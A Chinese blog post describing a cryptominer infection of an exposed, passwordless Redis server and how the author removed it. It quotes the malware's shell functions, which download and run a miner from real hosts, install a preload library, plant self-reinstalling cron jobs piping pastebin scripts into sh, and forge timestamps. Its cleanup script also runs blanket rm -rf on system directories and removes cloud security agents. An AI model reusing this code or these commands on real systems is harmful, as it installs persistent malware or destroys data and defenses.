背景
最近由于在弄springboot shiro的redis session共享的问题,所以在服务器上部署了redis,因为没有太多的考虑所以没有设置密码。
等到第二天的时候,发现redis外网无法访问内网可以。
查看端口绑定情况 netstat -antlp | grep 6379 发现绑定没有问题

查看本地的路由,发现绑定到了127.0.0.1

发现绑定问题之后,就增加一条路由规则
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT
病毒代码
1function tables() { 2 iptables -I INPUT -p TCP --dport 6379 -j REJECT 3 iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT 4 iptables-save 5 touch /tmp/.tables 6}
增加了之后终于外网能访问了,利用RedisDesktopManager 再次连接后,发现内容里面多了两条定时任务,感觉很奇怪也没在意,以为不是很大的问题,反正能用也没在意。
终于第三天redis又不能访问了,而且又增加了一条本地端口映射的路由规则。
感觉上服务器有一些问题,马上看了下 服务器ssh登入的 authorized_keys文件,发现里面内容key增加了不少。
于是进行百度查询相关的问题,根据描述基本可以确定中了挖矿木马。
查看服务器的定时任务 crontab -l 始终会有一条定时任务,采用命令crontab -r 进行删除,1分钟后又会自动生成
原理
采用定时任务脚本下载对应的执行程序,并将对应的程序命名成为 libdns.so
下面为部分的定时任务代码
1function top() { 2 mkdir -p /usr/local/lib/ 3 if [ ! -f "/usr/local/lib/libdns.so" ]; then 4 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so 5 if [ ! -f "/usr/local/lib/libdns.so" ]; then 6 wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so 7 fi 8 fi 9 echo /usr/local/lib/libdns.so > /etc/ld.so.preload 10 touch -acmr /bin/sh /etc/ld.so.preload 11 touch -acmr /bin/sh /usr/local/lib/libdns.so 12}
简单点理解,只要你的定时任务不删除,对应的程序就会下载,就会往本地电脑中添加定时任务
定时任务路径
1function echocron() { 2 echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root 3 echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache 4 echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root 5 mkdir -p /var/spool/cron/crontabs 6 echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root 7 mkdir -p /etc/cron.hourly 8 curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner 9 if [ ! -f "/etc/cron.hourly/oanacroner" ]; then 10 wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner 11 fi 12 mkdir -p /etc/cron.daily 13 curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner 14 if [ ! -f "/etc/cron.daily/oanacroner" ]; then 15 wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner 16 fi 17 mkdir -p /etc/cron.monthly 18 curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner 19 if [ ! -f "/etc/cron.monthly/oanacroner" ]; then 20 wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner 21 fi 22 touch -acmr /bin/sh /var/spool/cron/root 23 touch -acmr /bin/sh /var/spool/cron/crontabs/root 24 touch -acmr /bin/sh /etc/cron.d/apache 25 touch -acmr /bin/sh /etc/cron.d/root 26 touch -acmr /bin/sh /etc/cron.hourly/oanacroner 27 touch -acmr /bin/sh /etc/cron.daily/oanacroner 28 touch -acmr /bin/sh /etc/cron.monthly/oanacroner 29}
病毒程序代码
1function downloadrunxm() { 2 mkdir -p /var/tmp 3 chmod 1777 /var/tmp 4 pm=$(netstat -an | grep :56415 | wc -l) 5 if [ ${pm} -eq 0 ];then 6 rm -rf /var/tmp/config.json* 7 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json 8 if [ ! -f "/var/tmp/config.json" ]; then 9 wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json 10 fi 11 ARCH=$(uname -i) 12 if [ "$ARCH" == "x86_64" ]; then 13 rm -rf /var/tmp/kworkerds* 14 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 15 if [ ! -f "/var/tmp/kworkerds" ]; then 16 wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds 17 fi 18 nohup /var/tmp/kworkerds >/dev/null 2>&1 & 19 elif [ "$ARCH" == "i386" ]; then 20 rm -rf /var/tmp/kworkerds* 21 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 22 if [ ! -f "/var/tmp/kworkerds" ]; then 23 wget https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds 24 fi 25 nohup /var/tmp/kworkerds >/dev/null 2>&1 & 26 else 27 rm -rf /var/tmp/kworkerds* 28 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 29 if [ ! -f "/var/tmp/kworkerds" ]; then 30 wget https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds 31 fi 32 nohup /var/tmp/kworkerds >/dev/null 2>&1 & 33 fi 34 fi 35}
解决方案
1.排查用户是否增加。有增加进行删除(该概率比较小)
2.排查登入免密登入文件是否修改。如果服务器采用 sshkey登入,排查文件authorized_keys 中的key是否有增加(原理 具体详见 ssh 免秘钥登入服务器),最好进行原秘钥登入删除,进行更新,顺便可以考虑更换一下ssh端口(建议,纯粹为了系统安全,更改方式,详见百度)
3.查看所有定时任务执行脚本,明确本地的程序。定时任务查看 crontab -l 查看服务器定时任务,定人任务中包含 wget 网址后面跟了 sh(忘记截图,只能描述一下),然后根据定时任务中的网址进行浏览器访问,会得到一大串的乱码,将乱码复制,然后粘贴到Base64解码工具中进行解码,可以获得 定时任务执行的命令。然后分析对应个的脚本内容。会查看到本地的执行程序 libudev.so ,也可以看到脚本中增加了6379增加了本地路由规则,查看到程序后 进行删除,不删除程序,则会不断增加定时任务到 系统中。(因为已经处理,所以不能配图了)
4.删除定时任务。1) crontab -r 删除任务 2) cd /etc/cron.d 删除apache,及root(经查看本次中的内容跟网上的不太一样,这几个文件中均有定时任务,所以进行了删除)
5.查看进行。top -c 查看占用cup很高的进程(因为已经删除所有不能进行配图),查看到kworkerds 进行,路径在 /tmp下。 kill -9 pid 进行杀死进行,然后进行目录下进行删除内容

脚本
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
iptables -A INPUT -s pastebin.com -j DROP
iptables -A OUTPUT -d pastebin.com -j DROP
1rm -rf /bin/dns 2crontab -r 3rm -rf /etc/cron.d 4rm -rf /etc/crontab 5rm -rf /usr/local/lib/libdns.so 6rm -rf /usr/local/lib/libdns.so 7rm -rf /etc/ld.so.preload 8rm -rf /tmp/.pythong 9rm -rf /var/spool/cron 10rm -rf /etc/cron.hourly 11rm -rf /etc/cron.daily 12rm -rf /etc/cron.monthly 13rm -rf /tmp/.tables 14rm -rf /etc/init.d/agentwatch 15rm -rf /usr/sbin/aliyun-service 16rm -rf /usr/local/aegis* 17killall kworkerds 18rm -rf /tmp/kworkerds 19rm -rf /var/tmp/config.json 20rm -rf /tmp
一段时间后发现 系统定时任务已经不会在增加,并且已经不纯在高消耗cpu的进程了。
总结
**1.**该问题如果需要完全解决,必须好好查看对应的定时任务下载并执行的脚本,而且发现该问题并不是一成不变的,在处理问题的时候发现与百度上描述的还是有很大的区别。
2.给redis增加上安全控制(很重要)
转载的话,请标明下出处 https://www.cnblogs.com/dyft/articles/9797664.html